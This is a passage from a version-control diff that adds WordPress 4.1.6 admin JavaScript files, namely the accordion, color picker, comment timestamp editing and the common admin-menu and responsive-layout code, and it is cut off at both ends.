+			if ( e.type === 'keydown' && 13 !== e.which ) { // "return" key
+				return;
+			}
+
+			e.preventDefault(); // Keep this AFTER the key filter above
+
+			accordionSwitch( $( this ) );
+		});
+
+	});
+
+	/**
+	 * Close the current accordion section and open a new one.
+	 *
+	 * @param {Object} el Title element of the accordion section to toggle.
+	 * @since 3.6.0
+	 */
+	function accordionSwitch ( el ) {
+		var section = el.closest( '.accordion-section' ),
+			siblings = section.closest( '.accordion-container' ).find( '.open' ),
+			content = section.find( '.accordion-section-content' );
+
+		// This section has no content and cannot be expanded.
+		if ( section.hasClass( 'cannot-expand' ) ) {
+			return;
+		}
+
+		if ( section.hasClass( 'open' ) ) {
+			section.toggleClass( 'open' );
+			content.toggle( true ).slideToggle( 150 );
+		} else {
+			siblings.removeClass( 'open' );
+			siblings.find( '.accordion-section-content' ).show().slideUp( 150 );
+			content.toggle( false ).slideToggle( 150 );
+			section.toggleClass( 'open' );
+		}
+	}
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/color-picker.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/color-picker.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/color-picker.js	(revision 33402)
@@ -0,0 +1,157 @@
+/* global wpColorPickerL10n */
+( function( $, undef ){
+
+	var ColorPicker,
+		// html stuff
+		_before = '<a tabindex="0" class="wp-color-result" />',
+		_after = '<div class="wp-picker-holder" />',
+		_wrap = '<div class="wp-picker-container" />',
+		_button = '<input type="button" class="button button-small hidden" />';
+
+	// jQuery UI Widget constructor
+	ColorPicker = {
+		options: {
+			defaultColor: false,
+			change: false,
+			clear: false,
+			hide: true,
+			palettes: true,
+			width: 255,
+			mode: 'hsv'
+		},
+		_create: function() {
+			// bail early for unsupported Iris.
+			if ( ! $.support.iris ) {
+				return;
+			}
+
+			var self = this,
+				el = self.element;
+
+			$.extend( self.options, el.data() );
+
+			// keep close bound so it can be attached to a body listener
+			self.close = $.proxy( self.close, self );
+
+			self.initialValue = el.val();
+
+			// Set up HTML structure, hide things
+			el.addClass( 'wp-color-picker' ).hide().wrap( _wrap );
+			self.wrap = el.parent();
+			self.toggler = $( _before ).insertBefore( el ).css( { backgroundColor: self.initialValue } ).attr( 'title', wpColorPickerL10n.pick ).attr( 'data-current', wpColorPickerL10n.current );
+			self.pickerContainer = $( _after ).insertAfter( el );
+			self.button = $( _button );
+
+			if ( self.options.defaultColor ) {
+				self.button.addClass( 'wp-picker-default' ).val( wpColorPickerL10n.defaultString );
+			} else {
+				self.button.addClass( 'wp-picker-clear' ).val( wpColorPickerL10n.clear );
+			}
+
+			el.wrap( '<span class="wp-picker-input-wrap" />' ).after(self.button);
+
+			el.iris( {
+				target: self.pickerContainer,
+				hide: self.options.hide,
+				width: self.options.width,
+				mode: self.options.mode,
+				palettes: self.options.palettes,
+				change: function( event, ui ) {
+					self.toggler.css( { backgroundColor: ui.color.toString() } );
+					// check for a custom cb
+					if ( $.isFunction( self.options.change ) ) {
+						self.options.change.call( this, event, ui );
+					}
+				}
+			} );
+
+			el.val( self.initialValue );
+			self._addListeners();
+			if ( ! self.options.hide ) {
+				self.toggler.click();
+			}
+		},
+		_addListeners: function() {
+			var self = this;
+
+			// prevent any clicks inside this widget from leaking to the top and closing it
+			self.wrap.on( 'click.wpcolorpicker', function( event ) {
+				event.stopPropagation();
+			});
+
+			self.toggler.click( function(){
+				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
+					self.close();
+				} else {
+					self.open();
+				}
+			});
+
+			self.element.change( function( event ) {
+				var me = $( this ),
+					val = me.val();
+				// Empty = clear
+				if ( val === '' || val === '#' ) {
+					self.toggler.css( 'backgroundColor', '' );
+					// fire clear callback if we have one
+					if ( $.isFunction( self.options.clear ) ) {
+						self.options.clear.call( this, event );
+					}
+				}
+			});
+
+			// open a keyboard-focused closed picker with space or enter
+			self.toggler.on( 'keyup', function( event ) {
+				if ( event.keyCode === 13 || event.keyCode === 32 ) {
+					event.preventDefault();
+					self.toggler.trigger( 'click' ).next().focus();
+				}
+			});
+
+			self.button.click( function( event ) {
+				var me = $( this );
+				if ( me.hasClass( 'wp-picker-clear' ) ) {
+					self.element.val( '' );
+					self.toggler.css( 'backgroundColor', '' );
+					if ( $.isFunction( self.options.clear ) ) {
+						self.options.clear.call( this, event );
+					}
+				} else if ( me.hasClass( 'wp-picker-default' ) ) {
+					self.element.val( self.options.defaultColor ).change();
+				}
+			});
+		},
+		open: function() {
+			this.element.show().iris( 'toggle' ).focus();
+			this.button.removeClass( 'hidden' );
+			this.toggler.addClass( 'wp-picker-open' );
+			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
+		},
+		close: function() {
+			this.element.hide().iris( 'toggle' );
+			this.button.addClass( 'hidden' );
+			this.toggler.removeClass( 'wp-picker-open' );
+			$( 'body' ).off( 'click.wpcolorpicker', this.close );
+		},
+		// $("#input").wpColorPicker('color') returns the current color
+		// $("#input").wpColorPicker('color', '#bada55') to set
+		color: function( newColor ) {
+			if ( newColor === undef ) {
+				return this.element.iris( 'option', 'color' );
+			}
+
+			this.element.iris( 'option', 'color', newColor );
+		},
+		//$("#input").wpColorPicker('defaultColor') returns the current default color
+		//$("#input").wpColorPicker('defaultColor', newDefaultColor) to set
+		defaultColor: function( newDefaultColor ) {
+			if ( newDefaultColor === undef ) {
+				return this.options.defaultColor;
+			}
+
+			this.options.defaultColor = newDefaultColor;
+		}
+	};
+
+	$.widget( 'wp.wpColorPicker', ColorPicker );
+}( jQuery ) );
Index: /tags/4.1.6/src/wp-admin/js/comment.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/comment.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/comment.js	(revision 33402)
@@ -0,0 +1,50 @@
+/* global postboxes:true, commentL10n:true */
+jQuery(document).ready( function($) {
+
+	postboxes.add_postbox_toggles('comment');
+
+	var stamp = $('#timestamp').html();
+	$('.edit-timestamp').click(function () {
+		if ($('#timestampdiv').is(':hidden')) {
+			$('#timestampdiv').slideDown('normal');
+			$('.edit-timestamp').hide();
+		}
+		return false;
+	});
+
+	$('.cancel-timestamp').click(function() {
+		$('#timestampdiv').slideUp('normal');
+		$('#mm').val($('#hidden_mm').val());
+		$('#jj').val($('#hidden_jj').val());
+		$('#aa').val($('#hidden_aa').val());
+		$('#hh').val($('#hidden_hh').val());
+		$('#mn').val($('#hidden_mn').val());
+		$('#timestamp').html(stamp);
+		$('.edit-timestamp').show();
+		return false;
+	});
+
+	$('.save-timestamp').click(function () { // crazyhorse - multiple ok cancels
+		var aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(),
+			newD = new Date( aa, mm - 1, jj, hh, mn );
+
+		if ( newD.getFullYear() != aa || (1 + newD.getMonth()) != mm || newD.getDate() != jj || newD.getMinutes() != mn ) {
+			$('.timestamp-wrap', '#timestampdiv').addClass('form-invalid');
+			return false;
+		} else {
+			$('.timestamp-wrap', '#timestampdiv').removeClass('form-invalid');
+		}
+
+		$('#timestampdiv').slideUp('normal');
+		$('.edit-timestamp').show();
+		$('#timestamp').html(
+			commentL10n.submittedOn + ' <b>' +
+			$( '#mm option[value="' + mm + '"]' ).text() + ' ' +
+			jj + ', ' +
+			aa + ' @ ' +
+			hh + ':' +
+			mn + '</b> '
+		);
+		return false;
+	});
+});
Index: /tags/4.1.6/src/wp-admin/js/common.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/common.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/common.js	(revision 33402)
@@ -0,0 +1,874 @@
+/* global setUserSetting, ajaxurl, commonL10n, alert, confirm, pagenow */
+var showNotice, adminMenu, columns, validateForm, screenMeta;
+( function( $, window, undefined ) {
+// Removed in 3.3.
+// (perhaps) needed for back-compat
+adminMenu = {
+	init : function() {},
+	fold : function() {},
+	restoreMenuState : function() {},
+	toggle : function() {},
+	favorites : function() {}
+};
+
+// show/hide/save table columns
+columns = {
+	init : function() {
+		var that = this;
+		$('.hide-column-tog', '#adv-settings').click( function() {
+			var $t = $(this), column = $t.val();
+			if ( $t.prop('checked') )
+				that.checked(column);
+			else
+				that.unchecked(column);
+
+			columns.saveManageColumnsState();
+		});
+	},
+
+	saveManageColumnsState : function() {
+		var hidden = this.hidden();
+		$.post(ajaxurl, {
+			action: 'hidden-columns',
+			hidden: hidden,
+			screenoptionnonce: $('#screenoptionnonce').val(),
+			page: pagenow
+		});
+	},
+
+	checked : function(column) {
+		$('.column-' + column).show();
+		this.colSpanChange(+1);
+	},
+
+	unchecked : function(column) {
+		$('.column-' + column).hide();
+		this.colSpanChange(-1);
+	},
+
+	hidden : function() {
+		return $('.manage-column').filter(':hidden').map(function() { return this.id; }).get().join(',');
+	},
+
+	useCheckboxesForHidden : function() {
+		this.hidden = function(){
+			return $('.hide-column-tog').not(':checked').map(function() {
+				var id = this.id;
+				return id.substring( id, id.length - 5 );
+			}).get().join(',');
+		};
+	},
+
+	colSpanChange : function(diff) {
+		var $t = $('table').find('.colspanchange'), n;
+		if ( !$t.length )
+			return;
+		n = parseInt( $t.attr('colspan'), 10 ) + diff;
+		$t.attr('colspan', n.toString());
+	}
+};
+
+$(document).ready(function(){columns.init();});
+
+validateForm = function( form ) {
+	return !$( form )
+		.find( '.form-required' )
+		.filter( function() { return $( 'input:visible', this ).val() === ''; } )
+		.addClass( 'form-invalid' )
+		.find( 'input:visible' )
+		.change( function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
+		.size();
+};
+
+// stub for doing better warnings
+showNotice = {
+	warn : function() {
+		var msg = commonL10n.warnDelete || '';
+		if ( confirm(msg) ) {
+			return true;
+		}
+
+		return false;
+	},
+
+	note : function(text) {
+		alert(text);
+	}
+};
+
+screenMeta = {
+	element: null, // #screen-meta
+	toggles: null, // .screen-meta-toggle
+	page:    null, // #wpcontent
+
+	init: function() {
+		this.element = $('#screen-meta');
+		this.toggles = $('.screen-meta-toggle a');
+		this.page    = $('#wpcontent');
+
+		this.toggles.click( this.toggleEvent );
+	},
+
+	toggleEvent: function( e ) {
+		var panel = $( this.href.replace(/.+#/, '#') );
+		e.preventDefault();
+
+		if ( !panel.length )
+			return;
+
+		if ( panel.is(':visible') )
+			screenMeta.close( panel, $(this) );
+		else
+			screenMeta.open( panel, $(this) );
+	},
+
+	open: function( panel, link ) {
+
+		$('.screen-meta-toggle').not( link.parent() ).css('visibility', 'hidden');
+
+		panel.parent().show();
+		panel.slideDown( 'fast', function() {
+			panel.focus();
+			link.addClass('screen-meta-active').attr('aria-expanded', true);
+		});
+
+		$( document ).trigger( 'screen:options:open' );
+	},
+
+	close: function( panel, link ) {
+		panel.slideUp( 'fast', function() {
+			link.removeClass('screen-meta-active').attr('aria-expanded', false);
+			$('.screen-meta-toggle').css('visibility', '');
+			panel.parent().hide();
+		});
+
+		$( document ).trigger( 'screen:options:close' );
+	}
+};
+
+/**
+ * Help tabs.
+ */
+$('.contextual-help-tabs').delegate('a', 'click', function(e) {
+	var link = $(this),
+		panel;
+
+	e.preventDefault();
+
+	// Don't do anything if the click is for the tab already showing.
+	if ( link.is('.active a') )
+		return false;
+
+	// Links
+	$('.contextual-help-tabs .active').removeClass('active');
+	link.parent('li').addClass('active');
+
+	panel = $( link.attr('href') );
+
+	// Panels
+	$('.help-tab-content').not( panel ).removeClass('active').hide();
+	panel.addClass('active').show();
+});
+
+$(document).ready( function() {
+	var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions, $firstHeading,
+		lastClicked = false,
+		pageInput = $('input.current-page'),
+		currentPage = pageInput.val(),
+		isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
+		isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
+		isIE8 = $( document.documentElement ).hasClass( 'ie8' ),
+		$document = $( document ),
+		$window = $( window ),
+		$body = $( document.body ),
+		$adminMenuWrap = $( '#adminmenuwrap' ),
+		$wpwrap = $( '#wpwrap' ),
+		$adminmenu = $( '#adminmenu' ),
+		$overlay = $( '#wp-responsive-overlay' ),
+		$toolbar = $( '#wp-toolbar' ),
+		$toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
+		$sortables = $('.meta-box-sortables'),
+		wpResponsiveActive = false,
+		$adminbar = $( '#wpadminbar' ),
+		lastScrollPosition = 0,
+		pinnedMenuTop = false,
+		pinnedMenuBottom = false,
+		menuTop = 0,
+		menuIsPinned = false,
+		height = {
+			window: $window.height(),
+			wpwrap: $wpwrap.height(),
+			adminbar: $adminbar.height(),
+			menu: $adminMenuWrap.height()
+		};
+
+
+	// when the menu is folded, make the fly-out submenu header clickable
+	$adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
+		$(e.target).parent().siblings('a').get(0).click();
+	});
+
+	$('#collapse-menu').on('click.collapse-menu', function() {
+		var body = $( document.body ), respWidth, state;
+
+		// reset any compensation for submenus near the bottom of the screen
+		$('#adminmenu div.wp-submenu').css('margin-top', '');
+
+		if ( window.innerWidth ) {
+			// window.innerWidth is affected by zooming on phones
+			respWidth = Math.max( window.innerWidth, document.documentElement.clientWidth );
+		} else {
+			// IE < 9 doesn't support @media CSS rules
+			respWidth = 961;
+		}
+
+		if ( respWidth && respWidth < 960 ) {
+			if ( body.hasClass('auto-fold') ) {
+				body.removeClass('auto-fold').removeClass('folded');
+				setUserSetting('unfold', 1);
+				setUserSetting('mfold', 'o');
+				state = 'open';
+			} else {
+				body.addClass('auto-fold');
+				setUserSetting('unfold', 0);
+				state = 'folded';
+			}
+		} else {
+			if ( body.hasClass('folded') ) {
+				body.removeClass('folded');
+				setUserSetting('mfold', 'o');
+				state = 'open';
+			} else {
+				body.addClass('folded');
+				setUserSetting('mfold', 'f');
+				state = 'folded';
+			}
+		}
+
+		$( document ).trigger( 'wp-collapse-menu', { state: state } );
+	});
+
+	/**
+	 * Ensure an admin submenu is within the visual viewport.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {jQuery} $menuItem The parent menu item containing the submenu.
+	 */
+	function adjustSubmenu( $menuItem ) {
+		var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
+			$submenu = $menuItem.find( '.wp-submenu' );
+
+		menutop = $menuItem.offset().top;
+		wintop = $window.scrollTop();
+		maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar
+
+		bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu
+		pageHeight = $wpwrap.height(); // Height of the entire page
+		adjustment = 60 + bottomOffset - pageHeight;
+		theFold = $window.height() + wintop - 50; // The fold
+
+		if ( theFold < ( bottomOffset - adjustment ) ) {
+			adjustment = bottomOffset - theFold;
+		}
+
+		if ( adjustment > maxtop ) {
+			adjustment = maxtop;
+		}
+
+		if ( adjustment > 1 ) {
+			$submenu.css( 'margin-top', '-' + adjustment + 'px' );
+		} else {
+			$submenu.css( 'margin-top', '' );
+		}
+	}
+
+	if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // touch screen device
+		// iOS Safari works with touchstart, the rest work with click
+		mobileEvent = isIOS ? 'touchstart' : 'click';
+
+		// close any open submenus when touch/click is not on the menu
+		$(document.body).on( mobileEvent+'.wp-mobile-hover', function(e) {
+			if ( $adminmenu.data('wp-responsive') ) {
+				return;
+			}
+
+			if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+			}
+		});
+
+		$adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
+			var $menuItem = $(this).parent();
+
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				return;
+			}
+
+			// Show the sub instead of following the link if:
+			//	- the submenu is not open
+			//	- the submenu is not shown inline or the menu is not folded
+			if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
+				event.preventDefault();
+				adjustSubmenu( $menuItem );
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+				$menuItem.addClass('opensub');
+			}
+		});
+	}
+
+	if ( ! isIOS && ! isAndroid ) {
+		$adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({
+			over: function() {
+				var $menuItem = $( this ),
+					$submenu = $menuItem.find( '.wp-submenu' ),
+					top = parseInt( $submenu.css( 'top' ), 10 );
+
+				if ( isNaN( top ) || top > -5 ) { // the submenu is visible
+					return;
+				}
+
+				if ( $adminmenu.data( 'wp-responsive' ) ) {
+					// The menu is in responsive mode, bail
+					return;
+				}
+
+				adjustSubmenu( $menuItem );
+				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
+				$menuItem.addClass( 'opensub' );
+			},
+			out: function(){
+				if ( $adminmenu.data( 'wp-responsive' ) ) {
+					// The menu is in responsive mode, bail
+					return;
+				}
+
+				$( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
+			},
+			timeout: 200,
+			sensitivity: 7,
+			interval: 90
+		});
+
+		$adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				// The menu is in responsive mode, bail
+				return;
+			}
+
+			$( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );
+		}).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
+			if ( $adminmenu.data( 'wp-responsive' ) ) {
+				return;
+			}
+
+			$( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );
+		}).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
+			adjustSubmenu( $( this ) );
+		});
+	}
+
+	// Move .notice, .updated and .error alert boxes. Don't move boxes designed to be inline.
+	$firstHeading = $( 'div.wrap h2:first' );
+	$firstHeading.nextAll( 'div.updated, div.error, div.notice' ).addClass( 'below-h2' );
+	$( 'div.updated, div.error, div.notice' ).not( '.below-h2, .inline' ).insertAfter( $firstHeading );
+
+	// Init screen meta
+	screenMeta.init();
+
+	// check all checkboxes
+	$('tbody').children().children('.check-column').find(':checkbox').click( function(e) {
+		if ( 'undefined' == e.shiftKey ) { return true; }
+		if ( e.shiftKey ) {
+			if ( !lastClicked ) { return true; }
+			checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' );
+			first = checks.index( lastClicked );
+			last = checks.index( this );
+			checked = $(this).prop('checked');
+			if ( 0 < first && 0 < last && first != last ) {
+				sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
+				sliced.prop( 'checked', function() {
+					if ( $(this).closest('tr').is(':visible') )
+						return checked;
+
+					return false;
+				});
+			}
+		}
+		lastClicked = this;
+
+		// toggle "check all" checkboxes
+		var unchecked = $(this).closest('tbody').find(':checkbox').filter(':visible').not(':checked');
+		$(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
+			return ( 0 === unchecked.length );
+		});
+
+		return true;
+	});
+
+	$('thead, tfoot').find('.check-column :checkbox').on( 'click.wp-toggle-checkboxes', function( event ) {
+		var $this = $(this),
+			$table = $this.closest( 'table' ),
+			controlChecked = $this.prop('checked'),
+			toggle = event.shiftKey || $this.data('wp-toggle');
+
+		$table.children( 'tbody' ).filter(':visible')
+			.children().children('.check-column').find(':checkbox')
+			.prop('checked', function() {
+				if ( $(this).is(':hidden') ) {
+					return false;
+				}
+
+				if ( toggle ) {
+					return ! $(this).prop( 'checked' );
+				} else if ( controlChecked ) {
+					return true;
+				}
+
+				return false;
+			});
+
+		$table.children('thead,  tfoot').filter(':visible')
+			.children().children('.check-column').find(':checkbox')
+			.prop('checked', function() {
+				if ( toggle ) {
+					return false;
+				} else if ( controlChecked ) {
+					return true;
+				}
+
+				return false;
+			});
+	});
+
+	// Show row actions on keyboard focus of its parent container element or any other elements contained within
+	$( 'td.post-title, td.title, td.comment, .bookmarks td.column-name, td.blogname, td.username, .dashboard-comment-wrap' ).focusin(function(){
+		clearTimeout( transitionTimeout );
+		focusedRowActions = $(this).find( '.row-actions' );
+		focusedRowActions.addClass( 'visible' );
+	}).focusout(function(){
+		// Tabbing between post title and .row-actions links needs a brief pause, otherwise
+		// the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
+		transitionTimeout = setTimeout(function(){
+			focusedRowActions.removeClass( 'visible' );
+		}, 30);
+	});
+
+	$('#default-password-nag-no').click( function() {
+		setUserSetting('default_password_nag', 'hide');
+		$('div.default-password-nag').hide();
+		return false;
+	});
+
+	// tab in textareas
+	$('#newcontent').bind('keydown.wpevent_InsertTab', function(e) {
+		var el = e.target, selStart, selEnd, val, scroll, sel;
+
+		if ( e.keyCode == 27 ) { // escape key
+			$(el).data('tab-out', true);
+			return;
+		}
+
+		if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey ) // tab key
+			return;
+
+		if ( $(el).data('tab-out') ) {
+			$(el).data('tab-out', false);
+			return;
+		}
+
+		selStart = el.selectionStart;
+		selEnd = el.selectionEnd;
+		val = el.value;
+
+		try {
+			this.lastKey = 9; // not a standard DOM property, lastKey is to help stop Opera tab event. See blur handler below.
+		} catch(err) {}
+
+		if ( document.selection ) {
+			el.focus();
+			sel = document.selection.createRange();
+			sel.text = '\t';
+		} else if ( selStart >= 0 ) {
+			scroll = this.scrollTop;
+			el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
+			el.selectionStart = el.selectionEnd = selStart + 1;
+			this.scrollTop = scroll;
+		}
+
+		if ( e.stopPropagation )
+			e.stopPropagation();
+		if ( e.preventDefault )
+			e.preventDefault();
+	});
+
+	$('#newcontent').bind('blur.wpevent_InsertTab', function() {
+		if ( this.lastKey && 9 == this.lastKey )
+			this.focus();
+	});
+
+	if ( pageInput.length ) {
+		pageInput.closest('form').submit( function() {
+
+			// Reset paging var for new filters/searches but not for bulk actions. See #17685.
+			if ( $('select[name="action"]').val() == -1 && $('select[name="action2"]').val() == -1 && pageInput.val() == currentPage )
+				pageInput.val('1');
+		});
+	}
+
+	$('.search-box input[type="search"], .search-box input[type="submit"]').mousedown(function () {
+		$('select[name^="action"]').val('-1');
+	});
+
+	// Scroll into view when focused
+	$('#contextual-help-link, #show-settings-link').on( 'focus.scroll-into-view', function(e){
+		if ( e.target.scrollIntoView )
+			e.target.scrollIntoView(false);
+	});
+
+	// Disable upload buttons until files are selected
+	(function(){
+		var button, input, form = $('form.wp-upload-form');
+		if ( ! form.length )
+			return;
+		button = form.find('input[type="submit"]');
+		input = form.find('input[type="file"]');
+
+		function toggleUploadButton() {
+			button.prop('disabled', '' === input.map( function() {
+				return $(this).val();
+			}).get().join(''));
+		}
+		toggleUploadButton();
+		input.on('change', toggleUploadButton);
+	})();
+
+	function pinMenu( event ) {
+		var windowPos = $window.scrollTop(),
+			resizing = ! event || event.type !== 'scroll';
+
+		if ( isIOS || isIE8 || $adminmenu.data( 'wp-responsive' ) ) {
+			return;
+		}
+
+		if ( height.menu + height.adminbar < height.window ||
+			height.menu + height.adminbar + 20 > height.wpwrap ) {
+			unpinMenu();
+			return;
+		}
+
+		menuIsPinned = true;
+
+		if ( height.menu + height.adminbar > height.window ) {
+			// Check for overscrolling
+			if ( windowPos < 0 ) {
+				if ( ! pinnedMenuTop ) {
+					pinnedMenuTop = true;
+					pinnedMenuBottom = false;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: ''
+					});
+				}
+
+				return;
+			} else if ( windowPos + height.window > $document.height() - 1 ) {
+				if ( ! pinnedMenuBottom ) {
+					pinnedMenuBottom = true;
+					pinnedMenuTop = false;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: 0
+					});
+				}
+
+				return;
+			}
+
+			if ( windowPos > lastScrollPosition ) {
+				// Scrolling down
+				if ( pinnedMenuTop ) {
+					// let it scroll
+					pinnedMenuTop = false;
+					menuTop = $adminMenuWrap.offset().top - height.adminbar - ( windowPos - lastScrollPosition );
+
+					if ( menuTop + height.menu + height.adminbar < windowPos + height.window ) {
+						menuTop = windowPos + height.window - height.menu - height.adminbar;
+					}
+
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else if ( ! pinnedMenuBottom && $adminMenuWrap.offset().top + height.menu < windowPos + height.window ) {
+					// pin the bottom
+					pinnedMenuBottom = true;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: 0
+					});
+				}
+			} else if ( windowPos < lastScrollPosition ) {
+				// Scrolling up
+				if ( pinnedMenuBottom ) {
+					// let it scroll
+					pinnedMenuBottom = false;
+					menuTop = $adminMenuWrap.offset().top - height.adminbar + ( lastScrollPosition - windowPos );
+
+					if ( menuTop + height.menu > windowPos + height.window ) {
+						menuTop = windowPos;
+					}
+
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else if ( ! pinnedMenuTop && $adminMenuWrap.offset().top >= windowPos + height.adminbar ) {
+					// pin the top
+					pinnedMenuTop = true;
+
+					$adminMenuWrap.css({
+						position: 'fixed',
+						top: '',
+						bottom: ''
+					});
+				}
+			} else if ( resizing ) {
+				// Resizing
+				pinnedMenuTop = pinnedMenuBottom = false;
+				menuTop = windowPos + height.window - height.menu - height.adminbar - 1;
+
+				if ( menuTop > 0 ) {
+					$adminMenuWrap.css({
+						position: 'absolute',
+						top: menuTop,
+						bottom: ''
+					});
+				} else {
+					unpinMenu();
+				}
+			}
+		}
+
+		lastScrollPosition = windowPos;
+	}
+
+	function resetHeights() {
+		height = {
+			window: $window.height(),
+			wpwrap: $wpwrap.height(),
+			adminbar: $adminbar.height(),
+			menu: $adminMenuWrap.height()
+		};
+	}
+
+	function unpinMenu() {
+		if ( isIOS || ! menuIsPinned ) {
+			return;
+		}
+
+		pinnedMenuTop = pinnedMenuBottom = menuIsPinned = false;
+		$adminMenuWrap.css({
+			position: '',
+			top: '',
+			bottom: ''
+		});
+	}
+
+	function setPinMenu() {
+		resetHeights();
+
+		if ( $adminmenu.data('wp-responsive') ) {
+			$body.removeClass( 'sticky-menu' );
+			unpinMenu();
+		} else if ( height.menu + height.adminbar > height.window ) {
+			pinMenu();
+			$body.removeClass( 'sticky-menu' );
+		} else {
+			$body.addClass( 'sticky-menu' );
+			unpinMenu();
+		}
+	}
+
+	if ( ! isIOS ) {
+		$window.on( 'scroll.pin-menu', pinMenu );
+		$document.on( 'tinymce-editor-init.pin-menu', function( event, editor ) {
+			editor.on( 'wp-autoresize', resetHeights );
+		});
+	}
+
+	window.wpResponsive = {
+		init: function() {
+			var self = this;
+
+			// Modify functionality based on custom activate/deactivate event
+			$document.on( 'wp-responsive-activate.wp-responsive', function() {
+				self.activate();
+			}).on( 'wp-responsive-deactivate.wp-responsive', function() {
+				self.deactivate();
+			});
+
+			$( '#wp-admin-bar-menu-toggle a' ).attr( 'aria-expanded', 'false' );
+
+			// Toggle sidebar when toggle is clicked
+			$( '#wp-admin-bar-menu-toggle' ).on( 'click.wp-responsive', function( event ) {
+				event.preventDefault();
+				$wpwrap.toggleClass( 'wp-responsive-open' );
+				if ( $wpwrap.hasClass( 'wp-responsive-open' ) ) {
+					$(this).find('a').attr( 'aria-expanded', 'true' );
+					$( '#adminmenu a:first' ).focus();
+				} else {
+					$(this).find('a').attr( 'aria-expanded', 'false' );
+				}
+			} );
+
+			// Add menu events
+			$adminmenu.on( 'click.wp-responsive', 'li.wp-has-submenu > a', function( event ) {
+				if ( ! $adminmenu.data('wp-responsive') ) {
+					return;
+				}
+
+				$( this ).parent( 'li' ).toggleClass( 'selected' );
+				event.preventDefault();
+			});
+
+			self.trigger();
+			$document.on( 'wp-window-resized.wp-responsive', $.proxy( this.trigger, this ) );
+
+			// This needs to run later as UI Sortable may be initialized later on $(document).ready()
+			$window.on( 'load.wp-responsive', function() {
+				var width = navigator.userAgent.indexOf('AppleWebKit/') > -1 ? $window.width() : window.innerWidth;
+
+				if ( width <= 782 ) {
+					self.disableSortables();
+				}
+			});
+		},
+
+		activate: function() {
+			setPinMenu();
+
+			if ( ! $body.hasClass( 'auto-fold' ) ) {
+				$body.addClass( 'auto-fold' );
+			}
+
+			$adminmenu.data( 'wp-responsive', 1 );
+			this.disableSortables();
+		},
+
+		deactivate: function() {
+			setPinMenu();
+			$adminmenu.removeData('wp-responsive');
+			this.enableSortables();
+		},
+
+		trigger: function() {
+			var width;
+
+			if ( window.innerWidth ) {
+				// window.innerWidth is affected by zooming on phones
+				width = Math.max( window.innerWidth, document.documentElement.clientWidth );
+			} else {
+				// Exclude IE < 9, it doesn't support @media CSS rules
+				return;
+			}
+
+			if ( width <= 782 ) {
+				if ( ! wpResponsiveActive ) {
+					$document.trigger( 'wp-responsive-activate' );
+					wpResponsiveActive = true;
+				}
+			} else {
+				if ( wpResponsiveActive ) {
+					$document.trigger( 'wp-responsive-deactivate' );
+					wpResponsiveActive = false;
+				}
+			}
+
+			if ( width <= 480 ) {
+				this.enableOverlay();
+			} else {
+				this.disableOverlay();
+			}
+		},
+
+		enableOverlay: function() {
+			if ( $overlay.length === 0 ) {
+				$overlay = $( '<div id="wp-responsive-overlay"></div>' )
+					.insertAfter( '#wpcontent' )
+					.hide()
+					.on( 'click.wp-responsive', function() {
+						$toolbar.find( '.menupop.hover' ).removeClass( 'hover' );
+						$( this ).hide();
+					});
+			}
+
+			$toolbarPopups.on( 'click.wp-responsive', function() {
+				$overlay.show();
+			});
+		},
+
+		disableOverlay: function() {
+			$toolbarPopups.off( 'click.wp-responsive' );
+			$overlay.hide();
+		},
+
+		disableSortables: function() {
+			if ( $sortables.length ) {
+				try {
+					$sortables.sortable('disable');
+				} catch(e) {}
+			}
